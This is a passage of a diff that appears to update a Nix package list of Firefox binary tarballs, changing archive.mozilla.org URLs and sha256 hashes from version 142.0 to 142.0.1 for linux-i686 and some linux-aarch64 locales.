       arch = "linux-i686";
-      sha256 = "1b52beca4930c15fc4807a808c5b65b6c13cc72128756e8b8bf97f50980d1c26";
+      sha256 = "29dbf33f254902c0b4e67e4fec221dd95e055e2a0c936bda820f95c3eaa93134";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lt/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/lt/firefox-142.0.1.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "beaf21a8b9d287a3ea8a4206d28ec9b4e02ddfc3ff2520948158386374687058";
+      sha256 = "7bbf441f9f7ec74f54e1e607ede27fcbfb3879875cc84d1eeadfc2e5447253e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lv/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/lv/firefox-142.0.1.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "3db45120dd104017b53cf6cc6b2c271a3bc92a0029c365c23e5053c9a1c58302";
+      sha256 = "e50385986734ca4f8dc4d90785f4acabf0f4665aa2d462094625cee622e9c0a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/mk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/mk/firefox-142.0.1.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "3cf2d3bbfe82b6cf710255b33c5fbaebae3c9580f6c9508ec3aa9285b5da0176";
+      sha256 = "908839c1ae9c2aa34a4711bc8b02391137136a401d76bf87652894a07c2beae4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/mr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/mr/firefox-142.0.1.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "a3ad66e409cdf21c091c96383480e4871973b7749e3c2e454d3f9680daca3921";
+      sha256 = "6a727165f229504ba97a80f5d7b0c1177738e7815a7fc869e3652874915e2952";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ms/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ms/firefox-142.0.1.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "c60c8bc1638e2d57dd2554356a22a2b040a6c5e16433134f2c165a12a55396e6";
+      sha256 = "e9ba3974aaba4c6e931f6a48bd5c8b9f571b0edb39e439b37c657ca5f20994bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/my/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/my/firefox-142.0.1.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "cd84aa70b2d837e16a941ac7ac6cf9c9c7c0308289e1fd028ad40e360dcf7a90";
+      sha256 = "339a213a628dda59b51ae147f3089351849cd2f1bb108f61e9be5d6a240e23d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nb-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/nb-NO/firefox-142.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "42d5bb3c134dae5e2f824557af1817af9c9dabbfef6c4ebf1eddacf94080cab0";
+      sha256 = "889e61a395c79462f1f5c9f87a72e0bde8c1aa57dd95d7d4858699b4af144b50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ne-NP/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ne-NP/firefox-142.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "2ce380f9a93ddd55e57245393dde616b38a7fd4e42165f577f0f83977db1fdf1";
+      sha256 = "e9019044be9f7cb33c887cda992863efaff6438865a286d835aa71848c3c609c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/nl/firefox-142.0.1.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "cf327dee63c04402691040005e4e8ae1fe2b90c5f60a281b92b215a37427a09b";
+      sha256 = "620efc33e49032f5fbdb61fd3ae330e9bdde7988c33b73f30b8afec518986612";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/nn-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/nn-NO/firefox-142.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "73b165475870e1ad96fe35aaed7de089306d7c50fe5a5f9f14e5a48e253f30a6";
+      sha256 = "b31e0307aa341d912f2c9a2004ad51e88be8858d4ddc676d1d907000f8800d8f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/oc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/oc/firefox-142.0.1.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "9d168ef2cd974d1432ce0e75ac6fe4a6b7dfe4a6bded8621228d4a8221adc1d1";
+      sha256 = "995c868ba79618b65d981cbb908be5c8340bf97cbb6f07f46e2c8240fe02311c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pa-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/pa-IN/firefox-142.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "0be936468c4dd6c818624b842de91de06422139dfb8c9449196fd16e80e154ee";
+      sha256 = "b988df7af21bd2d718d7526fd21584ec2083b7462ca3010085d0e7217f1d2778";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/pl/firefox-142.0.1.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "8e6bb775643b1c7307ec2a79f8d6bfafc3aea92b39290d13af7cdcfde6cb971d";
+      sha256 = "735861e1e2960bc4ebcabd938297964d7788ab3d7dbf6b813657df0f4de47bb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pt-BR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/pt-BR/firefox-142.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "ce15b163fe8d71422914b09e0661b547144a41b6beffb2c29aec4e3638e42ee1";
+      sha256 = "2a59d55af4d93d19c1a392b5e1241cad27e8b2ff5b50ab9d62a7dd853ba73e11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/pt-PT/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/pt-PT/firefox-142.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "9679d819adbda174978fe784976190e51a7eb55347fd7fd12edefcfea2a568c7";
+      sha256 = "a96957dcbf12436103f692da09c2e66f2232754b32692b72bfcaea32dd0cc10c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/rm/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/rm/firefox-142.0.1.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "3fd17d2f37958fd90212bcdd49537322cb1b407e99bbe897c60edb0b221fda2c";
+      sha256 = "b9ee84f97f1c3ec2f33ba19c18871a43a84b865f6c5d14f519b07e5c7a48648b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ro/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ro/firefox-142.0.1.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "15f201cddc8d8d4afdce5381a617a1a28b9873276f8386191adffd88601e5dbd";
+      sha256 = "3c77962965cc382f4f5a088eea8de427a091c07dc03d1d40eb9e1e8f9f42f315";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ru/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ru/firefox-142.0.1.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "96a0eae63272fbf78e5ac2ce4b998247665df26aea801fe6644a8933dcafbafa";
+      sha256 = "b84de62af9488fb9c92df6aafba5cb5e1d5d522a74ee98196fcbe0b6dff93156";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sat/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sat/firefox-142.0.1.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "517762dc5dad2d87045db2614b840e41d5e899fcd6b875dd160f6e467227f9c1";
+      sha256 = "f21aaa7c4f27490491af34ff91541e4a7f1e3dcb95559d8a65ec00f32f169ab1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sc/firefox-142.0.1.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "95146d8cea65a491d42f9f90b3cdacc5796486318ba8cc1b035fdada15ad7883";
+      sha256 = "5c81b28215cf97bf39f3203c930829d78fb046d36cab5fe71a32883f5b64194a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sco/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sco/firefox-142.0.1.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "7daf7c01e4a04a6ed500f1ca1316c4769b8fb39fdffaf97652167f68511fea32";
+      sha256 = "c5fb25559fb802efab0957baf529bfc34c9a657b5e7eff8849737f52bd442be6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/si/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/si/firefox-142.0.1.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "5e15dead3ac799f3ddd83641efdcd2f1b4ee36ec73a5f47ec71d4c7804ff15c9";
+      sha256 = "86db1b9db29f607cca0a6a7c7c4510f33c13b3349635211d245cfd2b853894c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sk/firefox-142.0.1.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "713cf4bec037ea5bca1bbf297ff8c0b1fa245bcd7892253e15b76c52201daa62";
+      sha256 = "6ba2fd8fc9c08e46d118eecd772c1dfec694611f4ca6289eb4ebe087ce762514";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/skr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/skr/firefox-142.0.1.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "1de8cda0a58961deee46dd8ff8f69f8f6b77138044a604060b5375e23065b69a";
+      sha256 = "312e9d1823c9780ef6aa783c844cf9f7fc0b6e76dc9c52571882e224bb37f67a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sl/firefox-142.0.1.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "237b6139152330b08cc0bf283e9b64e787eab66e9bb2d387f4883c491800dca5";
+      sha256 = "3fabf9c3780508c040259d0dfe3a5a72bfb4dc94cfd0e803e8d10272cf34e5c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/son/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/son/firefox-142.0.1.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "b4fbac5fc56f13cfb6864153710cf302011b0cd9eb0ab5dded4d764d23c38727";
+      sha256 = "43759202e9cc7b53d162f4f8839bcf93f559fac5f6242d33146d94166187b33c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sq/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sq/firefox-142.0.1.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "1833142469a59677ac14d77e117c9f48a131e2426f8479d965bdff10026157e2";
+      sha256 = "c7a73d59459fd6a48d15e9ec3bc650471ff4bbf6839f0145f737d5042a919b78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sr/firefox-142.0.1.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "d3c1ee2af2e53d01e2473d9f2fac53619548f6842ea10446cd1546164a5298f8";
+      sha256 = "3a79f58f02567a48c0dd7761d9ac4369bf71caa9d5dcb131f3a642309f03d40d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/sv-SE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/sv-SE/firefox-142.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "f1a351c693fd84e37ddf2b74d546651e19142e64bee7074b18533e9ea7657587";
+      sha256 = "d6e18ad2f876da5d34143e135864029dfbf148cfa6ecd02ab68cc95aecbfdd27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/szl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/szl/firefox-142.0.1.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "158e24ec6ae8ce8535dc9bf591fa546b72fab11406dc3de53f9b28354ff2ae3b";
+      sha256 = "631d415f15e0d13e7961561ff28f69bdb1f30838551925faa11d669b9fc97d88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ta/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ta/firefox-142.0.1.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "7ba266b5008a6153a2657f48f70e8d7950fcc720c27663399528343fffaae902";
+      sha256 = "6c97c127dcb9c145681221199cd63367c6ea0b833231639f74b8372b09ccb43b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/te/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/te/firefox-142.0.1.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "9d3143b5456e8a1ba0efb76b231bdfe3354d642c7516aa5b95c83d5eca938b79";
+      sha256 = "d02bf83c7b09b2d360af4323858e17befd4c67db624d70c1282d56016ddb2128";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/tg/firefox-142.0.1.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "e4e6f5b139afdaecbe3bea9ab62409c1455ca6debb966aaf44161ef82ed1a1c5";
+      sha256 = "b77c4ee54ba1533d3e53b3c1f87292e1c821fe9fea90199b2a5cac0f726a1579";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/th/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/th/firefox-142.0.1.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "02cabee434e6b8ce7e7de8efcad6dd9afbd5ea2da3ded23917f94a4dd7402d8e";
+      sha256 = "1ee50485c6b22301fae86c69fde3075721e26ffcc9a6547827d53aea9efdf9fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/tl/firefox-142.0.1.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "7a6dd3c7cc30d757bd110b45a73b9b7fbc83a444fff1a57a40dc8e792351cd3b";
+      sha256 = "a84f82ee10db09e8467aaffb20c24a02dd883e04e3c731b88b387dd4221d4029";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/tr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/tr/firefox-142.0.1.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "8bb2a68d184bae484b81c930f551d409e1188d982b7b028c3555b6626b4be997";
+      sha256 = "737b615ebb07cef92bca1d6ecf2564aa1a45b25c7ee6ce81f39723d767e407c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/trs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/trs/firefox-142.0.1.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "66d3bef4909ec3302a22a04fb5a2e18533e8333b1a9b4f852da1b6d4be0a6f3f";
+      sha256 = "a535176ad2388a3baa071f46523d64e27e5f303a9a783dbff5a721ce555c4f85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/uk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/uk/firefox-142.0.1.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "d7c9caa3786fee3b030aa3d0863c4a6a249e2fbf1823939886d2e1ab805796bf";
+      sha256 = "6a2fa19dcdab58125825171b93097a15456ba9fb6217553113e30447e5dbb8dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ur/firefox-142.0.1.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "25eb662a592733b822e4ad36f8c92e30b49ade8b9eaba2565e37608b9a3a0768";
+      sha256 = "e3b83d2a69b9136f2d6182b982d66e3e779e68998d9a33dab4222deb09b80284";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/uz/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/uz/firefox-142.0.1.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "718ae3e7d35d9b44423820598017fcda7cc47a5a8b41d97187d90543d078c5c8";
+      sha256 = "e5b1474976573e2a08519f215e00159fc50267bf0efaf8d3954fb937ec6583de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/vi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/vi/firefox-142.0.1.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "5416bfaa74c7922b0c70ccda9367f67a2b4ec073aa6957372decdb5ea7d8f1db";
+      sha256 = "a445359cfc1d6f5eaffb91b11c01d5b64c45d93121d98b38f521f7e531dbf8f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/xh/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/xh/firefox-142.0.1.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "dacb6de464e9cea8bea906ac8fb5d0227521b10bd37810d7d095c6ffd6db6cae";
+      sha256 = "8818d2b6c0fe2afeab7ae149dd630b7005da3d81f84aaf39549e1a4cc1961da8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/zh-CN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/zh-CN/firefox-142.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "8b1e2b1d1f405a6793a8c63f986139165c9127a6f2c195b2fbc253221ba2ed9f";
+      sha256 = "621b500c3b20181bc25e935c442a17ee489dbabe72978fcbec7523d8048dbddb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/zh-TW/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/zh-TW/firefox-142.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "d16edecfcaf3dd39c15e86d3acf065cbf279cb18dcefb235c7eec846580088c6";
+      sha256 = "a07241c4b3f9e0533aabb9bd287a26169c272b41a6af0f4e66dfb43f0cf75ac0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ach/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ach/firefox-142.0.1.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "9c4503090dbee52438189b3817c6293d7faeebd820ee72ec85cbb80678c4a39d";
+      sha256 = "5eeaf43ac86aa582543d84b55b8506901071b0edefb40298716d2e8c666a096c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/af/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/af/firefox-142.0.1.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "a0fbb4c547cdc1adcb62cf5dfb317abbd5a4b5a9bb2f2146a7ddb4806b64059a";
+      sha256 = "0e14ba0c01de09b006602a2ab33902c2afba011c79a62d094fe07bd3a0737596";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/an/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/an/firefox-142.0.1.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "ce6c8725f4d98607e805d18fdb834d709fc92f773a778d501cf9f3372e08992d";
+      sha256 = "163432c2834151fafc76ae63c0d31097156e317be8595ef34b7fa95c545a17ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ar/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ar/firefox-142.0.1.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "ad1fddef76360bb99cb3420b281fd039f4d530714725f96372ac4179446fe115";
+      sha256 = "49715a5322687740cc40eab98f33f4182b2e630a31e41deaea39ae93c5478ee2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ast/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ast/firefox-142.0.1.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "8fbf7441098dbf7fb4a92a61cd1ac36fec6d6c87de27a3b2523ac1346cc94b33";
+      sha256 = "ed18082964b9bdd57497ea758ce79ce413ff02e6d603ad403e0580ffe7f38dda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/az/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/az/firefox-142.0.1.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "dd4642ab0d5e9f9ca6899ec4aef78f2745a2ac3c74ec064ce6bd5d060f3eda16";
+      sha256 = "4e08f2aba76ff8f5055da5b295c9932bef22218477e5b646639cb83fbfb59939";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/be/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/be/firefox-142.0.1.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "f95841fae81b471e85c1b503b8807a71402c491a4e53718245244c5cd8be30f0";
+      sha256 = "f8102efae21bef3dda87ae1b40f48b48a5a550b30353816e1de4d69d644666cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/bg/firefox-142.0.1.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "e0fa0a3da4022eb228e5b6ded0324a59938cec400de5461d1be5d5f2844fac8c";
+      sha256 = "7c479a5e12c8395ec93ddf2e4bf0830c7f99e70d59c8d53126b54d0570fd5271";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/bn/firefox-142.0.1.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "c0f470687739dd099296b664e97b582c9b54f9d83cd99fbb64dcf114cb98adab";
+      sha256 = "b9332470586eca1e98a7a154011d2793f0483dbf44c4ddacb070f0f4666fa9b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/br/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/br/firefox-142.0.1.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "a5afacdca244c2044695da260d359a647f091d474d8704545182feacadd697f5";
+      sha256 = "321fcade07f146befdf23a26c2a41f7ea89e0ec78ea571777d363f016169e410";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/bs/firefox-142.0.1.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "eac78aa0b1f88a66c336b043c04c6fcdb14e09cdacb0bace8d48de3942ed1f81";
+      sha256 = "de41ed05bded40f46aed0f5e908dc9e9b66c4a7b8b2c7204807b30dccdf63b52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ca-valencia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ca-valencia/firefox-142.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "2c14efe0da3508e682c991f528807976adde36d3c56c9e9d814010303054bfba";
+      sha256 = "fcb5f0dacb70dc863793ee1e5134c1160f8f0668b1217fa31e51dda72949f525";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ca/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ca/firefox-142.0.1.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "4a49d515e6231d51903a00069e0106c6f3d4d78c8f3b1b43b2a94975d837b0d1";
+      sha256 = "a22c344247f7e49262a2c52e6113cd34ae5b247dab5d83a5fa102b44fc534d4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cak/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/cak/firefox-142.0.1.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "39415622252bfd8b1b4f795d6b74e521a97a887c6211c19c0dbf477544675f16";
+      sha256 = "f2c58a3be0efcb9f00b9b937b478ec42079dc604c559058086185e5ab15d6348";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/cs/firefox-142.0.1.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "94eaf875ca330412ff223e6333b710f8c63950ef54d2140f67060d2f09363b95";
+      sha256 = "704339fcf7a8e5d3ba7420557245f0994ce3a1cb1b17dde4ec58ca1477e738f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cy/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/cy/firefox-142.0.1.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "4583973505b11b311e9e42eed0a1c144e3e64def4151ae9be63b06231c8d7ddb";
+      sha256 = "43ebc58e2a48009b235816579a692e16ed6b58072ffccd2b0cd64cfd3b30e887";
     }
     {
